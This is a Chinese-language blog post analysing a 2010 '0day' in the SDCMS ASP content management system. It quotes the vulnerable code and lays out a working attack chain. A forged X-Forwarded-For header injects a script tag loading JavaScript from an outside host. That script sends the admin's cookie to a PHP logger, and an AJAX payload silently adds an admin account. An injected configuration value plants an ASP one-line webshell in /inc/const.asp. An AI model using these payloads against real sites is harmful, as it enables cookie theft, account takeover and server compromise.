SDCMS 漏洞分析 0day

2010年8月18日星期三 | | |

  • 发布日期:2010-05.16 
  • 发布作者:Amxking 
  • 影响版本: 未知
  • 官方地址: http://www.sdcms.cn/ 
  • 漏洞描述: 
  • 看下面的代码,我们开始慢慢分析:

    (注: 这种方法是在管理员允许评论的时候,才能利用的,不过,一般管理员都会允许评论吧)

    在/plug/comment.asp中

     
     

    1. sub save_comment  
    2.   ……  
    3. username=sdcms_f.HTMLEncode(username)  
    4. content=sdcms_f.contentEncode(content)  
    5. ip=sdcms_f.getip '请看这里,这里得到用户的IP.  
    6. set rs=server.CreateObject("adodb.recordset")  
    7. sql="select username,content,ip,infoid,ispass from sd_comment" 
    8. rs.open sql,conn,1,3  
    9. rs.addnew  
    10. rs(0)=left(username,10)  
    11. rs(1)=content  
    12. rs(2)=ip //没有任何过滤, 直接插到了数据库中.  
    13. rs(3)=id  
    14. if sdcms_comment_ispass=1 then  
    15. msg_contents=",请等待审核" 
    16. rs(4)=0  
    17. else  
    18. rs(4)=1  
    19. end if  
    20. rs.update  
    21. ……  
    22. end sub  
    下面我们看下getip的实现吧,

    在/inc/function.asp中

     

    1. Public Function getip  
    2.  
    3. ip=request.ServerVariables("HTTP_X_FORWARDED_FOR")  
    4.  
    5. if ip="" then ip=Request.ServerVariables("REMOTE_ADDR")  
    6.  
    7. getip=ip  
    8.  
    9. End function  

    看到这里,大家都知道问题的存在了吧.作者通过" HTTP_X_FORWARDED_FOR"这个字段来得到IP的值,而我们知道,这个字段在数据包中是可以伪造的.

    我们可以伪造数据包,将"HTTP_X_FORWARDED_FOR"的值, 改成一句话木马提交, 这样, 就直接将一句话木马插进数据库里去了. 如果我们知道数据库的位置,并且数据库的后缀名是asp的,那么就直接可以利用了.

    但可惜,这个CMS的数据库的名称未知,在安装的时候, 由如下代码生成12个随机字符构成, 加上后缀名还是mdb的, 所以我们要插入一句话, 也没法利用的.

    /install/index.asp中

     

    Function get_something  

    1. Randomize  
    2. Do While Len(pass)<12 '随机密码位数  
    3. num1=CStr(Chr((57-48)*rnd+48)) '0~9  
    4. num2=CStr(Chr((90-65)*rnd+65)) 'A~Z  
    5. num3=CStr(Chr((122-97)*rnd+97)) 'a~z  
    6. passpass=pass&num1&num2&num3  
    7. loop  
    8. get_something=pass 
    9. end function  

     


    我们考虑用另外一种方式来达到入侵的目的.

    看如下代码:

    /admin/sdcms_comment.asp

     
     

    1. sub main  
    2.  
    3. echo "<form name=""add"" action=""?"" method=""post"" onSubmit=""return confirm('确定要执行选定的操作吗?');"">"  
    4.  
    5. page=request.querystring("page")  
    6.  
    7. if page="" or not isnumeric(page) then  
    8.  
    9. page=1 
    10.  
    11. end if  
    12.  
    13. pages =20 
    14.  
    15. set rs=server.CreateObject("adodb.recordset")  
    16.  
    17. if request("classid")<>0 then tj=" where infoid="&request("classid")&"" '这里还有一个注入漏洞,虽然上面用classid=sdcms.Requestint(classid)来得到其整数值,但放在sql中查询的时候,并没有用classid来查询,而是直接用request("classid")来查询,作者在防注入的时候,没有对其值进行过滤, 所以可以注入, 但这个注入的前提是有管理员权限, 所以,我们就不讨论了.  
    18.  
    19. sql="select id,username," 
    20.  
    21. if Is_sql=0 then  
    22.  
    23. sqlsql=sql&"(iif(ispass=1,'已审','未审'))"  
    24.  
    25. else  
    26.  
    27. sqlsql=sql&"(case ispass when 1 then '已审'else'未审' end)"  
    28.  
    29. end if  
    30.  
    31. sqlsql=sql&",ip,adddate,content,ispass,infoid from "&sd_table&" "&tj&" order by ispass,id desc"  
    32.  
    33. '作者用sql语句直接查出IP的值来,并用如下代码显示在了页面上,没有经过任何过滤.  
    34.  
    35. <td class="title_bg" style="text-align:left"><span style="float:right"><%if rs(6)=0 then%><a href="?action=pass&id=<%=rs(0)%>&t=1&classid=<%=classid%>">通过验证</a><%else%><a href="?action=pass&id=<%=rs(0)%>&t=0&classid=<%=classid%>">取消验证</a><%end if%> <a href="?action=del&id=<%=rs(0)%>&classid=<%=classid%>" onclick='return confirm("真的要删除?不可恢复!");'>删除</a></span><input name="id" type="checkbox" onClick="unselectall()" value="<%=rs(0)%>"> <%=rs(1)%> 发表于:<%=rs(4)%> IP:<%=rs(3)%></td> 
    36.  
  •  
    我们考虑到xss来攻击,等管理员查看,审核评论的时候, 执行恶意的js。

    Xss的概念这里就不详细介绍了,我们把" HTTP_X_FORWARDED_FOR"的值赋为<script src=http://www.xuehi.com/test.js></script>(我们把恶意的js写到test.js中)

    然后提交. 这里提交的方法也不再累赘了.可以抓包用nc提交, 也可以找到现成的工具提交, 当然,也可以自己写程序提交.

    这里注意,对方默认的这个ip的字段为50个字符长. 所以我们要控制好这个长度.

    对于这个CMS,其cookie由12个作者自定义的字符加管理员用户名和md5后的密码组成,

    所以我们得到了cookie, 就基本上得到了后台的权限.

    下面讲下test.js我们如何实现,

    如果写为


    Alert(document.cookie)

    这样,作者在审核的时候,就会弹出他的cookie来.我们当然不会这么用啦,我们要把cookie让其发送到远端的服务器上.下面的代码应该不会陌生了吧.

    Test.js内容:

    Var img = new Image();

    Img.src="http://www.xuehi.com/test.php?cookie="+document.cookie;

    Test.php的内容如下:

     
     

    1. <?php<br /> <br />Fputs(fopen('a.txt','a+'),$_GET['cookie'].'////');<br /> <br />?></p><p>这样,管理员访问这个页面后,就会在我们的服务器上生成a.txt,里面含有管理员的cookie,<br /> <br />我们有了cookie,就相当于有了管理员身份了.<br /> <br />进后台,修改cookie就可以进去.<br /> <br />当然,我们嫌这样麻烦不爽的话, 还可以利用ajax,让管理员自己添加一个帐号,方法如下:<br /> <br />function getXHR() {<br /> <br />var xhr = null<br /> <br />if (window.XMLHttpRequest) {<br /> <br />xhr = new XMLHttpRequest();<br /> <br />} else if (window.createRequest) {<br /> <br />xhr = window.createRequest();<br /> <br />} else if (window.ActiveXObject) {<br /> <br />try {<br /> <br />xhr = new ActiveXObject('Msxml2.XMLHTTP');<br /> <br />} catch( E ) {<br /> <br />try {<br /> <br />xhr = new ActiveXObject('Microsoft.XMLHTTP');<br /> <br />} catch(E) {}<br /> <br />}<br /> <br />}<br /> <br />return xhr;<br /> <br />}<br /> <br />var ajax = getXHR();<br /> <br />ajax.open('POST','/admin/sdcms_admin.asp? ?action=save&act=add ',false);<br /> <br />ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");<br /> <br />ajax.send("t0=test&t1=test&t2=1"); 

    这样,管理员浏览过评论后,就会自动添加一个帐号, 呵呵.

    这在我以前的文章中都提到过, 就不细讲了.

    接下来是如何拿shell. 我们看下后台写配置的地方的代码:

    在/admin/sdcms_set.asp中

    1. set fso=server.CreateObject("scripting.filesystemobject")  
    2.  
    3. set info=fso.CreateTextFile(Server.mappath("../inc/const.asp"),true)  
    4.  
    5. info.write "<" & "%" & vbcrlf  
    6.  
    7. ……  
    8.  
    9. info.write "%" & ">"  
    10.  
    11. info.close  
    12.  
    13. set info=nothing 
    14.  
    15. set fso=nothing 
    16.  

    作者将配置文件写到了/inc/const.asp中,

    而在

    1. sub save  
    2.  
    3. t0=clear_bad(trim(request("t0")))  
    4.  
    5. t1=clear_bad(trim(request("t1")))  
    6.  
    7. t2=clear_bad(trim(request("t2")))  
    8.  
    9. t3=clear_bad(trim(request("t3")))  
    10.  
    11. t4=clear_bad(trim(request("t4")))  
    12.  
    13. t5=clear_bad(trim(request("t5")))  
    14.  
    15. t6=clear_bad(trim(request("t6")))  
    16.  
    17. t7=clear_bad(trim(request("t7")))  
    18.  
    19. t8=clear_bad(trim(request("t8")))  
    20.  
    21. t9=clear_bad(trim(request("t9")))  
    22.  
    23. t10=clear_bad(trim(request("t10")))  
    24.  
    25. t11=clear_bad(trim(request("t11")))  
    26.  
    27. t12=clear_bad(trim(request("t12")))  
    28.  
    29. t13=trim(request("t13"))  
    30.  
    31. t14=dir_check(trim(request("t14")))  
    32.  
    33. t15=trim(request("t15"))  
    34.  
    35. t16=trim(request("t16"))  
    36.  
    37. t17=dir_check(trim(request("t17")))  
    38.  
    39. if t17<>"" then t17t17=t17&"/"  
    40.  
    41. select case t3  
    42.  
    43. case ".htm",".html",".shtml"  
    44.  
    45. case else:t3=".html" 
    46. end select  
    47.  
    48. select case t13  
    49.  
    50. case "0","1"  
    51.  
    52. case else:t13=0 
    53.  
    54. end select  
    55.  
    56. set sdcms_f=new sdcms_function  
    57.  
    58. t9=sdcms_f.check_event(t9,"|"):t10=sdcms_f.check_event(t10,"|"):t11=sdcms_f.check_event(t11,"|")  
    59.  
    60. set sdcms_f=nothing,  
    61.  
    62. 对其提交的参数进行了过滤.  
    63.  
    64. Function clear_bad(t0)  
    65.  
    66. clear_bad=Replace(t0,"""","")  
    67.  
    68. clear_bad=Replace(t0,CHR(10),"")  
    69.  
    70. End Function  
    71.  

    上面可以看到对t15,t16的值没有过滤.

    T16正好是系统管理,偏好设置中的文件名称项

    所以,我们将文件名称的值改为test"%><%execute request("value")%><%a="test

    这样, 我们就在/inc/const.asp文件中,写入了一句话木马.

    然后再上传大的webshell就OK了.

    参考:http://www.hackline.net/a/news/ldfb/web/2010/0516/3910.html

    我的QQ空间
    [Deny]htaccess文件的使用说明及应用
    .htaccess 也叫"分布式配置文件",主要起到了针对目录改变配置...
     

    0 评论:


    所有文章收集于网络,如果有牵扯到版权问题请与本站站长联系。谢谢合作![email protected]